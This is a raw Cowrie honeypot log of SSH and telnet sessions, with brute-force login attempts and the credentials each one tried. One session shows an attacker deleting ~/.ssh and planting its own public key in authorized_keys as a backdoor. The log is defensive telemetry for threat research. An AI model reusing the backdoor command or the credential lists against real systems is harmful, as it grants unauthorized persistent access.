{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:47:51.207975Z","src_ip":"2.57.122.208","session":"a4023c5a60e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:47:51.758614Z","src_ip":"2.57.122.208","session":"a4023c5a60e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:47:52.858627Z","src_ip":"2.57.122.208","session":"a4023c5a60e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.597374439239502,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:48:07.169483Z","src_ip":"185.242.3.105","session":"17f4b7f2ad56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38666,"dst_ip":"159.203.135.109","dst_port":22,"session":"4510c6b9ff98","protocol":"ssh","message":"New connection: 2.57.122.208:38666 (159.203.135.109:22) [session: 4510c6b9ff98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:50:04.544394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:50:04.643211Z","src_ip":"2.57.122.208","session":"4510c6b9ff98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:50:04.720382Z","src_ip":"2.57.122.208","session":"4510c6b9ff98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:50:05.320699Z","src_ip":"2.57.122.208","session":"4510c6b9ff98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:50:06.614398Z","src_ip":"2.57.122.208","session":"4510c6b9ff98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":39638,"dst_ip":"10.17.0.5","dst_port":22,"session":"7559db8b47a0","protocol":"ssh","message":"New connection: 14.225.2.125:39638 (10.17.0.5:22) [session: 7559db8b47a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:09.015559Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:09.290041Z","src_ip":"14.225.2.125","session":"7559db8b47a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":39652,"dst_ip":"10.17.0.5","dst_port":22,"session":"53b2a43554f3","protocol":"ssh","message":"New connection: 14.225.2.125:39652 (10.17.0.5:22) [session: 53b2a43554f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:09.562953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:09.567552Z","src_ip":"14.225.2.125","session":"53b2a43554f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:09.842295Z","src_ip":"14.225.2.125","session":"53b2a43554f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chen","password":"ecnuchen1","message":"login attempt [chen/ecnuchen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:10.666409Z","src_ip":"14.225.2.125","session":"53b2a43554f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:57:11.945676Z","src_ip":"14.225.2.125","session":"53b2a43554f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":58600,"dst_ip":"10.17.0.5","dst_port":23,"session":"7522dc03ee86","protocol":"telnet","message":"New connection: 130.12.180.174:58600 (10.17.0.5:23) [session: 7522dc03ee86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:58:03.495680Z"}
{"eventid":"cowrie.session.closed","duration":0.5080666542053223,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:58:04.003640Z","src_ip":"130.12.180.174","session":"7522dc03ee86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.67.115.220","src_port":50298,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ddf3a38a98e","protocol":"ssh","message":"New connection: 34.67.115.220:50298 (159.203.135.109:22) [session: 1ddf3a38a98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:04.606631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:04.611407Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:04.653282Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"wayoflife11","message":"login attempt [root/wayoflife11] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:04.911319Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.157161Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.160650Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.165030Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.317888Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.427834Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.431078Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.568327Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.571827Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.67.115.220","src_port":50312,"dst_ip":"159.203.135.109","dst_port":22,"session":"6017143663ca","protocol":"ssh","message":"New connection: 34.67.115.220:50312 (159.203.135.109:22) [session: 6017143663ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.601895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.606635Z","src_ip":"34.67.115.220","session":"6017143663ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.643519Z","src_ip":"34.67.115.220","session":"6017143663ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:05.911908Z","src_ip":"34.67.115.220","session":"6017143663ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.069292Z","src_ip":"34.67.115.220","session":"6017143663ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.67.115.220","src_port":34686,"dst_ip":"159.203.135.109","dst_port":22,"session":"e538748d7d38","protocol":"ssh","message":"New connection: 34.67.115.220:34686 (159.203.135.109:22) [session: e538748d7d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.101979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.106500Z","src_ip":"34.67.115.220","session":"e538748d7d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.146091Z","src_ip":"34.67.115.220","session":"e538748d7d38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.583457Z","src_ip":"34.67.115.220","session":"e538748d7d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.623858Z","src_ip":"34.67.115.220","session":"1ddf3a38a98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:59:07.628614Z","src_ip":"34.67.115.220","session":"e538748d7d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.246.101","src_port":45828,"dst_ip":"10.17.0.5","dst_port":22,"session":"348f3570c305","protocol":"ssh","message":"New connection: 59.126.246.101:45828 (10.17.0.5:22) [session: 348f3570c305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:00:59.088494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:01:03.333933Z","src_ip":"59.126.246.101","session":"348f3570c305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","r